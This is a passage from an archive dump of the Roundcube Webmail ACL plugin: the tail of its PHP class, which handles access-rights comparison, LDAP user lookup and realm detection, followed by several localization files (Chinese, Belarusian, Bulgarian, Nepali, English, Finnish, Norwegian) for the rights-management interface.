        if (!is_array($acl2)) $acl2 = str_split($acl2);

        $rights = $this->rights_supported();

        $acl1 = array_intersect($acl1, $rights);
        $acl2 = array_intersect($acl2, $rights);
        $res  = array_intersect($acl1, $acl2);

        $cnt1 = count($res);
        $cnt2 = count($acl2);

        if ($cnt1 == $cnt2) {
            return 2;
        }

        if ($cnt1) {
            return 1;
        }

        return 0;
    }

    /**
     * Get list of supported access rights (according to RIGHTS capability)
     *
     * @return array List of supported access rights abbreviations
     */
    function rights_supported()
    {
        if ($this->supported !== null) {
            return $this->supported;
        }

        $capa = $this->rc->storage->get_capability('RIGHTS');

        if (is_array($capa) && !empty($capa)) {
            $rights = strtolower($capa[0]);
        }
        else {
            $rights = 'cd';
        }

        return $this->supported = str_split('lrswi' . $rights . 'pa');
    }

    /**
     * Username realm detection.
     *
     * @return string Username realm (domain)
     */
    private function get_realm()
    {
        // When user enters a username without domain part, realm
        // allows to add it to the username (and display correct username in the table)

        if (isset($_SESSION['acl_username_realm'])) {
            return $_SESSION['acl_username_realm'];
        }

        $self = $this->rc->get_user_name();

        // find realm in username of logged user (?)
        list($name, $domain) = rcube_utils::explode('@', $self);

        // Use (always existent) ACL entry on the INBOX for the user to determine
        // whether or not the user ID in ACL entries need to be qualified and how
        // they would need to be qualified.
        if (empty($domain)) {
            $acl = $this->rc->storage->get_acl('INBOX');
            if (is_array($acl)) {
                $regexp = '/^' . preg_quote($self, '/') . '@(.*)$/';
                foreach (array_keys($acl) as $name) {
                    if (preg_match($regexp, $name, $matches)) {
                        $domain = $matches[1];
                        break;
                    }
                }
            }
        }

        return $_SESSION['acl_username_realm'] = $domain;
    }

    /**
     * Initializes autocomplete LDAP backend
     */
    protected function init_ldap()
    {
        if ($this->ldap) {
            return $this->ldap->ready;
        }

        // get LDAP config
        $config = $this->rc->config->get('acl_users_source');

        if (empty($config)) {
            return false;
        }

        // not an array, use configured ldap_public source
        if (!is_array($config)) {
            $ldap_config = (array) $this->rc->config->get('ldap_public');
            $config      = $ldap_config[$config];
        }

        $uid_field = $this->rc->config->get('acl_users_field', 'mail');
        $filter    = $this->rc->config->get('acl_users_filter');

        if (empty($uid_field) || empty($config)) {
            return false;
        }

        // get name attribute
        if (!empty($config['fieldmap'])) {
            $name_field = $config['fieldmap']['name'];
        }
        // ... no fieldmap, use the old method
        if (empty($name_field)) {
            $name_field = $config['name_field'];
        }

        // add UID field to fieldmap, so it will be returned in a record with name
        $config['fieldmap']['name'] = $name_field;
        $config['fieldmap']['uid']  = $uid_field;

        // search in UID and name fields
        // $name_field can be in a form of <field>:<modifier> (#1490591)
        $name_field = preg_replace('/:.*$/', '', $name_field);
        $search     = array_unique([$name_field, $uid_field]);

        $config['search_fields']   = $search;
        $config['required_fields'] = [$uid_field];

        // set search filter
        if ($filter) {
            $config['filter'] = $filter;
        }

        // disable vlv
        $config['vlv'] = false;

        // Initialize LDAP connection
        $this->ldap = new rcube_ldap(
            $config,
            $this->rc->config->get('ldap_debug'),
            $this->rc->config->mail_domain($_SESSION['imap_host'])
        );

        return $this->ldap->ready;
    }

    /**
     * Modify user login according to 'login_lc' setting
     */
    protected function mod_login($user)
    {
        $login_lc = $this->rc->config->get('login_lc');

        if ($login_lc === true || $login_lc == 2) {
            $user = mb_strtolower($user);
        }
        // lowercase domain name
        else if ($login_lc && strpos($user, '@')) {
            list($local, $domain) = explode('@', $user);
            $user = $local . '@' . mb_strtolower($domain);
        }

        return $user;
    }

    /**
     * Resolve acl identifier to user/group name
     */
    protected function resolve_acl_identifier($id, &$title = null)
    {
        if ($this->init_ldap()) {
            $groups      = $this->rc->config->get('acl_groups');
            $prefix      = $this->rc->config->get('acl_group_prefix');
            $group_field = $this->rc->config->get('acl_group_field', 'name');

            // Unfortunately this works only if group_field=name,
            // list_groups() allows searching by group name only
            if ($groups && $prefix && $group_field === 'name' && strpos($id, $prefix) === 0) {
                $gid    = substr($id, strlen($prefix));
                $result = $this->ldap->list_groups($gid, rcube_addressbook::SEARCH_STRICT);

                if (count($result) === 1 && ($record = $result[0])) {
                    if (isset($record[$group_field]) && $record[$group_field] === $gid) {
                        $display = $record['name'];
                        if ($display != $gid) {
                            $title = sprintf('%s (%s)', $display, $gid);
                        }

                        return $display;
                    }
                }

                return $id;
            }

            $this->ldap->set_pagesize('2');
            // Note: 'uid' works here because we overwrite fieldmap in init_ldap() above
            $result = $this->ldap->search('uid', $id, rcube_addressbook::SEARCH_STRICT);

            if ($result->count === 1 && ($record = $result->first())) {
                if ($record['uid'] === $id) {
                    $title   = rcube_addressbook::compose_search_name($record);
                    $display = rcube_addressbook::compose_list_name($record);

                    return $display;
                }
            }
        }

        return $id;
    }
}
PKh�\,1:bb"plugins/acl/localization/zh_CN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = '共享';
$labels['myrights'] = '访问权限';
$labels['username'] = '用户:';
$labels['advanced'] = '高级模式';
$labels['add'] = '添加';
$labels['newuser'] = '新增条目';
$labels['editperms'] = '编辑权限';
$labels['actions'] = '权限设置...';
$labels['anyone'] = '所有用户(任何人)';
$labels['anonymous'] = '来宾(匿名)';
$labels['identifier'] = '标识符';
$labels['acll'] = '查找';
$labels['aclr'] = '读取消息';
$labels['acls'] = '保存已读状态';
$labels['aclw'] = '写入标志';
$labels['acli'] = '插入(复制至)';
$labels['aclp'] = '发送';
$labels['aclc'] = '创建子文件夹';
$labels['aclk'] = '创建子文件夹';
$labels['acld'] = '删除消息';
$labels['aclt'] = '删除消息';
$labels['acle'] = '清除';
$labels['aclx'] = '删除文件夹';
$labels['acla'] = '管理';
$labels['acln'] = '注释消息';
$labels['aclfull'] = '全部控制';
$labels['aclother'] = '其它';
$labels['aclread'] = '读取';
$labels['aclwrite'] = '写入';
$labels['acldelete'] = '删除';
$labels['shortacll'] = '查找';
$labels['shortaclr'] = '读取';
$labels['shortacls'] = '保存';
$labels['shortaclw'] = '写入';
$labels['shortacli'] = '插入';
$labels['shortaclp'] = '发送';
$labels['shortaclc'] = '新建';
$labels['shortaclk'] = '新建';
$labels['shortacld'] = '删除';
$labels['shortaclt'] = '删除';
$labels['shortacle'] = '清除';
$labels['shortaclx'] = '删除文件夹';
$labels['shortacla'] = '管理';
$labels['shortacln'] = '注释';
$labels['shortaclother'] = '其他';
$labels['shortaclread'] = '读取';
$labels['shortaclwrite'] = '写入';
$labels['shortacldelete'] = '删除';
$labels['longacll'] = '该文件夹在列表上可见且可被订阅';
$labels['longaclr'] = '该文件夹可被打开阅读';
$labels['longacls'] = '已读消息标识可以改变';
$labels['longaclw'] = '除已读和删除表示外其他消息标识可以改变';
$labels['longacli'] = '消息可被标记,撰写或复制至文件夹中';
$labels['longaclp'] = '消息可以发到此文件夹';
$labels['longaclc'] = '文件夹可被创建(或改名)于现有目录下';
$labels['longaclk'] = '文件夹可直接在此目录下创建(或改名)';
$labels['longacld'] = '消息已删除标识可以改变';
$labels['longaclt'] = '消息已删除标识可以改变';
$labels['longacle'] = '消息可被清除';
$labels['longaclx'] = '该文件夹可被删除或重命名';
$labels['longacla'] = '文件夹访问权限可被修改';
$labels['longacln'] = '消息共享元数据(注释)可以改变';
$labels['longaclfull'] = '完全控制,包括文件夹管理';
$labels['longaclread'] = '该文件夹可被打开阅读';
$labels['longaclwrite'] = '消息可被标记,撰写或复制至文件夹中';
$labels['longacldelete'] = '信息可被删除';
$labels['longaclother'] = '其他访问权限';
$labels['ariasummaryacltable'] = '访问权限列表';
$labels['arialabelaclactions'] = '列出操作';
$labels['arialabelaclform'] = '访问权限从';
$messages['deleting'] = '删除访问权限中…';
$messages['saving'] = '保存访问权限中…';
$messages['updatesuccess'] = '成功修改访问权限';
$messages['deletesuccess'] = '成功删除访问权限';
$messages['createsuccess'] = '成功添加访问权限';
$messages['updateerror'] = '无法更新访问权限';
$messages['deleteerror'] = '无法删除访问权限';
$messages['createerror'] = '无法添加访问权限';
$messages['deleteconfirm'] = '您确定要移除选中用户的访问权限吗?';
$messages['norights'] = '没有已指定的权限!';
$messages['nouser'] = '没有已指定的用户名!';
PKh�\�pxObb"plugins/acl/localization/be_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Сумесны доступ';
$labels['myrights'] = 'Правы доступу';
$labels['username'] = 'Карыстальнік:';
$labels['advanced'] = 'Пашыраны рэжым';
$labels['add'] = 'Дадаць';
$labels['newuser'] = 'Дадаць запіс';
$labels['editperms'] = 'Рэдагаваць правы доступу';
$labels['actions'] = 'Дзеянні з правамі доступу...';
$labels['anyone'] = 'Усе карыстальнікі (любыя)';
$labels['anonymous'] = 'Госці (ананімныя)';
$labels['identifier'] = 'Ідэнтыфікатар';
$labels['acll'] = 'Пошук';
$labels['aclr'] = 'Прачытаць лісты';
$labels['acls'] = 'Пакінуць стан прагледжанага';
$labels['aclw'] = 'Запісаць сцягі';
$labels['acli'] = 'Уставіць (капіяваць у)';
$labels['aclp'] = 'Адправіць';
$labels['aclc'] = 'Стварыць укладзеныя каталогі';
$labels['aclk'] = 'Стварыць укладзеныя каталогі';
$labels['acld'] = 'Выдаліць лісты';
$labels['aclt'] = 'Выдаліць лісты';
$labels['acle'] = 'Знішчыць лісты';
$labels['aclx'] = 'Выдаліць каталог';
$labels['acla'] = 'Адміністраваць';
$labels['acln'] = 'Анатаваць лісты';
$labels['aclfull'] = 'Поўны доступ';
$labels['aclother'] = 'Іншае';
$labels['aclread'] = 'Чытанне';
$labels['aclwrite'] = 'Запіс';
$labels['acldelete'] = 'Выдаленне';
$labels['shortacll'] = 'Пошук';
$labels['shortaclr'] = 'Чытанне';
$labels['shortacls'] = 'Пакінуць';
$labels['shortaclw'] = 'Запісванне';
$labels['shortacli'] = 'Даданне';
$labels['shortaclp'] = 'Адпраўленне';
$labels['shortaclc'] = 'Стварэнне';
$labels['shortaclk'] = 'Стварэнне';
$labels['shortacld'] = 'Выдаленне';
$labels['shortaclt'] = 'Выдаленне';
$labels['shortacle'] = 'Знішчэнне';
$labels['shortaclx'] = 'Выдаліць каталог';
$labels['shortacla'] = 'Адміністраванне';
$labels['shortacln'] = 'Анатаваць';
$labels['shortaclother'] = 'Іншае';
$labels['shortaclread'] = 'Чытанне';
$labels['shortaclwrite'] = 'Запіс';
$labels['shortacldelete'] = 'Выдаленне';
$labels['longacll'] = 'Можна пабачыць каталог у спісах і падпісацца на яго';
$labels['longaclr'] = 'Можна адкрыць каталог для чытання';
$labels['longacls'] = 'Можна пераключаць сцяг прагляду лістоў';
$labels['longaclw'] = 'Можна замяняць ключавыя словы і пераключаць сцягі лістоў, апроч прагляду і выдалення';
$labels['longacli'] = 'Можна запісваць альбо капіяваць лісты ў каталог';
$labels['longaclp'] = 'Можна размяшчаць лісты ў гэтым каталозе';
$labels['longaclc'] = 'Можна ствараць каталогі (або змяняць іх назвы) непасрэдна пад гэтым каталогам';
$labels['longaclk'] = 'Можна ствараць каталогі (або змяняць іх назвы) непасрэдна пад гэтым каталогам';
$labels['longacld'] = 'Можна пераключаць сцяг выдалення лістоў';
$labels['longaclt'] = 'Можна пераключаць сцяг выдалення лістоў';
$labels['longacle'] = 'Можна знішчаць лісты';
$labels['longaclx'] = 'Можна выдаляць каталогі альбо змяняць іх назвы';
$labels['longacla'] = 'Можна змяніць правы доступу да каталога';
$labels['longacln'] = 'Можна змяняць анатацыі да лістоў (супольныя метаданыя)';
$labels['longaclfull'] = 'Поўны доступ, уключаючы адмінстраванне каталога';
$labels['longaclread'] = 'Можна адкрываць каталогі для чытання';
$labels['longaclwrite'] = 'Можна пазначаць, запісваць альбо капіяваць лісты ў каталог';
$labels['longacldelete'] = 'Можна выдаляць лісты';
$labels['longaclother'] = 'Іншыя правы доступу';
$labels['ariasummaryacltable'] = 'Спіс правоў доступу';
$labels['arialabelaclactions'] = 'Спіс дзеянняў';
$labels['arialabelaclform'] = 'Форма правоў доступу';
$messages['deleting'] = 'Выдаленне правоў доступу...';
$messages['saving'] = 'Захаванне правоў доступу...';
$messages['updatesuccess'] = 'Правы доступу змененыя';
$messages['deletesuccess'] = 'Правы доступу выдаленыя';
$messages['createsuccess'] = 'Правы доступу дададзеныя';
$messages['updateerror'] = 'Не ўдалося абнавіць правы доступу';
$messages['deleteerror'] = 'Не ўдалося выдаліць правы доступу';
$messages['createerror'] = 'Не ўдалося дадаць правы доступу';
$messages['deleteconfirm'] = 'Сапраўды выдаліць правы доступу для абранага карыстальніка(ў)?';
$messages['norights'] = 'Ніякіх правоў не вызначана!';
$messages['nouser'] = 'Не пазначана імёнаў карыстальнікаў!';
PKh�\����UU"plugins/acl/localization/bg_BG.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Споделяне';
$labels['myrights'] = 'Права за достъп';
$labels['username'] = 'Потребител:';
$labels['advanced'] = 'Разширен режим';
$labels['add'] = 'Добави';
$labels['newuser'] = 'Добавяне на запис';
$labels['editperms'] = 'Редакция на права';
$labels['actions'] = 'Действия на права за достъп...';
$labels['anyone'] = 'Всички потребители (който и да е)';
$labels['anonymous'] = 'Гости (анонимни)';
$labels['identifier'] = 'Индентификатор';
$labels['acll'] = 'Претърсване';
$labels['aclr'] = 'Четене на писма';
$labels['acls'] = 'Запазване на Видяно';
$labels['aclw'] = 'Записване на флагове';
$labels['acli'] = 'Вмъкване (Копиране в)';
$labels['aclp'] = 'Изпращане';
$labels['aclc'] = 'Създаване на подпапки';
$labels['aclk'] = 'Създаване на подпапки';
$labels['acld'] = 'Изтриване на писма';
$labels['aclt'] = 'Изтриване на писмо';
$labels['acle'] = 'Заличаване';
$labels['aclx'] = 'Изтриване на папка';
$labels['acla'] = 'Администриране';
$labels['acln'] = 'Анотиране на писма';
$labels['aclfull'] = 'Пълен контрол';
$labels['aclother'] = 'Други';
$labels['aclread'] = 'Четене';
$labels['aclwrite'] = 'Писане';
$labels['acldelete'] = 'Изтриване';
$labels['shortacll'] = 'Търсене';
$labels['shortaclr'] = 'Четене';
$labels['shortacls'] = 'Запазване';
$labels['shortaclw'] = 'Писане';
$labels['shortacli'] = 'Вмъкване';
$labels['shortaclp'] = 'Изпращане';
$labels['shortaclc'] = 'Създаване';
$labels['shortaclk'] = 'Създаване';
$labels['shortacld'] = 'Изтриване';
$labels['shortaclt'] = 'Изтриване';
$labels['shortacle'] = 'Заличаване';
$labels['shortaclx'] = 'Изтриване на папка';
$labels['shortacla'] = 'Администриране';
$labels['shortacln'] = 'Анотирай';
$labels['shortaclother'] = 'Други';
$labels['shortaclread'] = 'Четене';
$labels['shortaclwrite'] = 'Писане';
$labels['shortacldelete'] = 'Изтриване';
$labels['longacll'] = 'Папката е видима в списъците и може да се абонирате';
$labels['longaclr'] = 'Папката може да бъде отворена за четене';
$labels['longacls'] = 'Флаг Видяно може да бъде променен.';
$labels['longaclw'] = 'Флаговете и кл. думи за писмата могат да бъдат променяни, без Видяно и Изтрито.';
$labels['longacli'] = 'Писмата могат да бъдат писани или копирани към папката.';
$labels['longaclp'] = 'Писмата могат да бъдат писани в папката';
$labels['longaclc'] = 'Папките могат да бъдат създавани (или преименувани) директно в тази папка';
$labels['longaclk'] = 'Папките могат да бъдат създавани (или преименувани) в тази основна папка';
$labels['longacld'] = 'Флагът Изтрито може да бъде променян';
$labels['longaclt'] = 'Флагът Изтрито може да бъде променян';
$labels['longacle'] = 'Писмата могат да бъдат заличавани';
$labels['longaclx'] = 'Папката може да бъде изтривана или преименувана';
$labels['longacla'] = 'Правата за достъп до папката могат да бъдат променяни';
$labels['longacln'] = 'Могат да се променят споделените метаданни (антоции) на писмата';
$labels['longaclfull'] = 'Пълен контрол, включително и администриране на папките';
$labels['longaclread'] = 'Папката може да бъде отворена за четене';
$labels['longaclwrite'] = 'Писмата могат да бъдат маркирани, записвани или копирани в папката';
$labels['longacldelete'] = 'Писмата могат да бъдат изтривани';
$labels['longaclother'] = 'Други права за достъп';
$labels['ariasummaryacltable'] = 'Списък с права за достъп';
$labels['arialabelaclactions'] = 'Списък с действия';
$labels['arialabelaclform'] = 'Форма с права за достъп';
$messages['deleting'] = 'Изтриване на права за достъп...';
$messages['saving'] = 'Запазване на права за достъп...';
$messages['updatesuccess'] = 'Правата за достъп са променени успешно';
$messages['deletesuccess'] = 'Правата за достъп са изтрити успешно';
$messages['createsuccess'] = 'Правата за достъп са добавени успешно';
$messages['updateerror'] = 'Невъзможно модифициране на правата за достъп';
$messages['deleteerror'] = 'Невъзможно изтриване на права за достъп';
$messages['createerror'] = 'Невъзможно добавяне на права за достъп';
$messages['deleteconfirm'] = 'Сигурни ли сте, че желаете да премахнате правата за достъп от избраните потребители?';
$messages['norights'] = 'Няма указани права!';
$messages['nouser'] = 'Няма указано потребителско име!';
PKh�\�!��ii"plugins/acl/localization/ne_NP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/


$labels['acldelete'] = 'मेटाउनुहोस';
$labels['shortaclc'] = 'बनाउनुहोस';
$labels['shortaclk'] = 'बनाउनुहोस';
$labels['shortacld'] = 'मेटाउनुहोस';
$labels['shortaclt'] = 'मेटाउनुहोस';
$labels['shortacldelete'] = 'मेटाउनुहोस';
PKh�\ʈv�"plugins/acl/localization/en_US.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Sharing';
$labels['myrights'] = 'Access Rights';
$labels['username'] = 'User:';
$labels['advanced'] = 'Advanced mode';
$labels['add'] = 'Add';
$labels['newuser'] = 'Add entry';
$labels['editperms'] = 'Edit permissions';
$labels['actions'] = 'Access right actions...';
$labels['anyone'] = 'All users (anyone)';
$labels['anonymous'] = 'Guests (anonymous)';
$labels['identifier'] = 'Identifier';

$labels['acll'] = 'Lookup';
$labels['aclr'] = 'Read messages';
$labels['acls'] = 'Keep Seen state';
$labels['aclw'] = 'Write flags';
$labels['acli'] = 'Insert (Copy into)';
$labels['aclp'] = 'Post';
$labels['aclc'] = 'Create subfolders';
$labels['aclk'] = 'Create subfolders';
$labels['acld'] = 'Delete messages';
$labels['aclt'] = 'Delete messages';
$labels['acle'] = 'Expunge';
$labels['aclx'] = 'Delete folder';
$labels['acla'] = 'Administer';
$labels['acln'] = 'Annotate messages';

$labels['aclfull'] = 'Full control';
$labels['aclother'] = 'Other';
$labels['aclread'] = 'Read';
$labels['aclwrite'] = 'Write';
$labels['acldelete'] = 'Delete';

$labels['shortacll'] = 'Lookup';
$labels['shortaclr'] = 'Read';
$labels['shortacls'] = 'Keep';
$labels['shortaclw'] = 'Write';
$labels['shortacli'] = 'Insert';
$labels['shortaclp'] = 'Post';
$labels['shortaclc'] = 'Create';
$labels['shortaclk'] = 'Create';
$labels['shortacld'] = 'Delete';
$labels['shortaclt'] = 'Delete';
$labels['shortacle'] = 'Expunge';
$labels['shortaclx'] = 'Folder delete';
$labels['shortacla'] = 'Administer';
$labels['shortacln'] = 'Annotate';

$labels['shortaclother'] = 'Other';
$labels['shortaclread'] = 'Read';
$labels['shortaclwrite'] = 'Write';
$labels['shortacldelete'] = 'Delete';

$labels['longacll'] = 'The folder is visible on lists and can be subscribed to';
$labels['longaclr'] = 'The folder can be opened for reading';
$labels['longacls'] = 'Messages Seen flag can be changed';
$labels['longaclw'] = 'Messages flags and keywords can be changed, except Seen and Deleted';
$labels['longacli'] = 'Messages can be written or copied to the folder';
$labels['longaclp'] = 'Messages can be posted to this folder';
$labels['longaclc'] = 'Folders can be created (or renamed) directly under this folder';
$labels['longaclk'] = 'Folders can be created (or renamed) directly under this folder';
$labels['longacld'] = 'Messages Delete flag can be changed';
$labels['longaclt'] = 'Messages Delete flag can be changed';
$labels['longacle'] = 'Messages can be expunged';
$labels['longaclx'] = 'The folder can be deleted or renamed';
$labels['longacla'] = 'The folder access rights can be changed';
$labels['longacln'] = 'Messages shared metadata (annotations) can be changed';

$labels['longaclfull'] = 'Full control including folder administration';
$labels['longaclread'] = 'The folder can be opened for reading';
$labels['longaclwrite'] = 'Messages can be marked, written or copied to the folder';
$labels['longacldelete'] = 'Messages can be deleted';
$labels['longaclother'] = 'Other access rights';

$labels['ariasummaryacltable'] = 'List of access rights';
$labels['arialabelaclactions'] = 'List actions';
$labels['arialabelaclform'] = 'Access rights form';

$messages['deleting'] = 'Deleting access rights...';
$messages['saving'] = 'Saving access rights...';
$messages['updatesuccess'] = 'Successfully changed access rights';
$messages['deletesuccess'] = 'Successfully deleted access rights';
$messages['createsuccess'] = 'Successfully added access rights';
$messages['updateerror'] = 'Unable to update access rights';
$messages['deleteerror'] = 'Unable to delete access rights';
$messages['createerror'] = 'Unable to add access rights';
$messages['deleteconfirm'] = 'Are you sure, you want to remove access rights of selected user(s)?';
$messages['norights'] = 'No rights has been specified!';
$messages['nouser'] = 'No username has been specified!';
PKh�\��t"plugins/acl/localization/fi_FI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Jakaminen';
$labels['myrights'] = 'Käyttöoikeudet';
$labels['username'] = 'Käyttäjä:';
$labels['advanced'] = 'Edistynyt tila';
$labels['add'] = 'Lisää';
$labels['newuser'] = 'LIsää kohde';
$labels['editperms'] = 'Muokkaa oikeuksia';
$labels['actions'] = 'Käyttöoikeuksien toiminnot...';
$labels['anyone'] = 'Kaikki käyttäjät (kuka tahansa)';
$labels['anonymous'] = 'Vieraat (anonyymit)';
$labels['identifier'] = 'Tunniste';
$labels['aclr'] = 'Lue viestit';
$labels['acls'] = 'Säilytä Luettu-tila';
$labels['aclc'] = 'Luo alikansioita';
$labels['aclk'] = 'Luo alikansioita';
$labels['acld'] = 'Poista viestejä';
$labels['aclt'] = 'Poista viestejä';
$labels['acle'] = 'Tiivistä';
$labels['aclx'] = 'Poista kansio';
$labels['acla'] = 'Hallitse';
$labels['aclfull'] = 'Täydet käyttöoikeudet';
$labels['aclother'] = 'Muu';
$labels['aclread'] = 'Luku';
$labels['aclwrite'] = 'Kirjoitus';
$labels['acldelete'] = 'Poisto';
$labels['shortaclr'] = 'Lue';
$labels['shortacls'] = 'Säilytä';
$labels['shortaclw'] = 'Kirjoitus';
$labels['shortacli'] = 'Lisää';
$labels['shortaclc'] = 'Luo';
$labels['shortaclk'] = 'Luo';
$labels['shortacld'] = 'Poista';
$labels['shortaclt'] = 'Poista';
$labels['shortacle'] = 'Tiivistä';
$labels['shortaclx'] = 'Kansion poisto';
$labels['shortacla'] = 'Hallitse';
$labels['shortaclother'] = 'Muu';
$labels['shortaclread'] = 'Luku';
$labels['shortaclwrite'] = 'Kirjoitus';
$labels['shortacldelete'] = 'Poisto';
$labels['longaclr'] = 'Kansion voi avata lukua varten';
$labels['longaclp'] = 'Viestejä voidaan lähettää tähän kansioon';
$labels['longaclc'] = 'Kansioita voidaan luoda (tai uudelleennimetä) suoraan tämän kansion alle';
$labels['longaclk'] = 'Kansioita voidaan luoda (tai uudelleennimetä) suoraan tämän kansion alle';
$labels['longacle'] = 'Viestit voidaan tiivistää';
$labels['longaclx'] = 'Kansio voidaan poistaa tai nimetä uudelleen';
$labels['longacla'] = 'Kansion käyttöoikeuksia voi muuttaa';
$labels['longaclread'] = 'Kansion voi avata lukua varten';
$labels['longacldelete'] = 'Viestit voidaan poistaa';
$labels['longaclother'] = 'Muut käyttöoikeudet';
$labels['ariasummaryacltable'] = 'Lista käyttöoikeuksista';
$labels['arialabelaclactions'] = 'Listatoiminnot';
$messages['deleting'] = 'Poistetaan käyttöoikeuksia...';
$messages['saving'] = 'Tallennetaan käyttöoikeuksia...';
$messages['updatesuccess'] = 'Käyttöoikeuksia muutettiin onnistuneesti';
$messages['deletesuccess'] = 'Käyttöoikeuksia poistettiin onnistuneesti';
$messages['createsuccess'] = 'Käyttöoikeuksia lisättiin onnistuneesti';
$messages['updateerror'] = 'Käyttöoikeuksien päivitys epäonnistui';
$messages['deleteerror'] = 'Käyttöoikeuksien poistaminen epäonnistui';
$messages['createerror'] = 'Käyttöoikeuksien lisääminen epäonnistui';
$messages['deleteconfirm'] = 'Oletko varma että haluat poistaa oikeudet valituilta käyttäjiltä?';
$messages['norights'] = 'Oikeuksia ei ole määritelty!';
$messages['nouser'] = 'Käyttäjänimeä ei ole määritelty!';
PKh�\GY�'}}"plugins/acl/localization/nb_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Deling';
$labels['myrights'] = 'Tilgangsrettigheter';
$labels['username'] = 'Bruker:';
$labels['advanced'] = 'Avansert modus';
$labels['add'] = 'Legg til';
$labels['newuser'] = 'Legg til oppføring';
$labels['editperms'] = 'Rediger tilgangsrettigheter';
$labels['actions'] = 'Valg for tilgangsrettigheter.';
$labels['anyone'] = 'Alle brukere (alle)';
$labels['anonymous'] = 'Gjester (anonyme)';
$labels['identifier'] = 'Identifikator';
$labels['acll'] = 'Oppslag';
$labels['aclr'] = 'Les meldinger';
$labels['acls'] = 'Behold lesestatus';
$labels['aclw'] = 'Lagre flagg';
$labels['acli'] = 'Lim inn';
$labels['aclp'] = 'Post';
$labels['aclc'] = 'Opprett undermapper';
$labels['aclk'] = 'Opprett undermapper';
$labels['acld'] = 'Slett meldinger';
$labels['aclt'] = 'Slett meldinger';
$labels['acle'] = 'Slett fullstendig';
$labels['aclx'] = 'Slett mappe';
$labels['acla'] = 'Administrer';
$labels['aclfull'] = 'Full kontroll';
$labels['aclother'] = 'Annet';
$labels['aclread'] = 'Les';
$labels['aclwrite'] = 'Skriv';
$labels['acldelete'] = 'Slett';
$labels['shortacll'] = 'Oppslag';
$labels['shortaclr'] = 'Les';
$labels['shortacls'] = 'Behold';
$labels['shortaclw'] = 'Skriv';
$labels['shortacli'] = 'Sett inn';
$labels['shortaclp'] = 'Post';
$labels['shortaclc'] = 'Opprett';
$labels['shortaclk'] = 'Opprett';
$labels['shortacld'] = 'Slett';
$labels['shortaclt'] = 'Slett';
$labels['shortacle'] = 'Slett fullstendig';
$labels['shortaclx'] = 'Slett mappe';
$labels['shortacla'] = 'Administrer';
$labels['shortaclother'] = 'Annet';
$labels['shortaclread'] = 'Les';
$labels['shortaclwrite'] = 'Skriv';
$labels['shortacldelete'] = 'Slett';
$labels['longacll'] = 'Mappen er synlig og kan abonneres på';
$labels['longaclr'] = 'Mappen kan åpnes for lesing';
$labels['longacls'] = 'Meldingenes lesestatusflagg kan endres';
$labels['longaclw'] = 'Meldingsflagg og -nøkkelord kan endres, bortsett fra status for lesing og sletting';
$labels['longacli'] = 'Meldinger kan lagres eller kopieres til mappen';
$labels['longaclp'] = 'Meldinger kan postes til denne mappen';
$labels['longaclc'] = 'Mapper kan opprettes (eller navnes om) direkte under denne mappen';
$labels['longaclk'] = 'Mapper kan opprettes (eller navnes om) direkte under denne mappen';
$labels['longacld'] = 'Meldingenes flagg for sletting kan endres';
$labels['longaclt'] = 'Meldingenes flagg for sletting kan endres';
$labels['longacle'] = 'Meldingen kan slettes for godt';
$labels['longaclx'] = 'Mappen kan slettes eller gis nytt navn';
$labels['longacla'] = 'Mappens tilgangsrettigheter kan endres';
$labels['longaclfull'] = 'Full kontroll, inkludert mappeadministrasjon';
$labels['longaclread'] = 'Mappen kan åpnes for lesing';
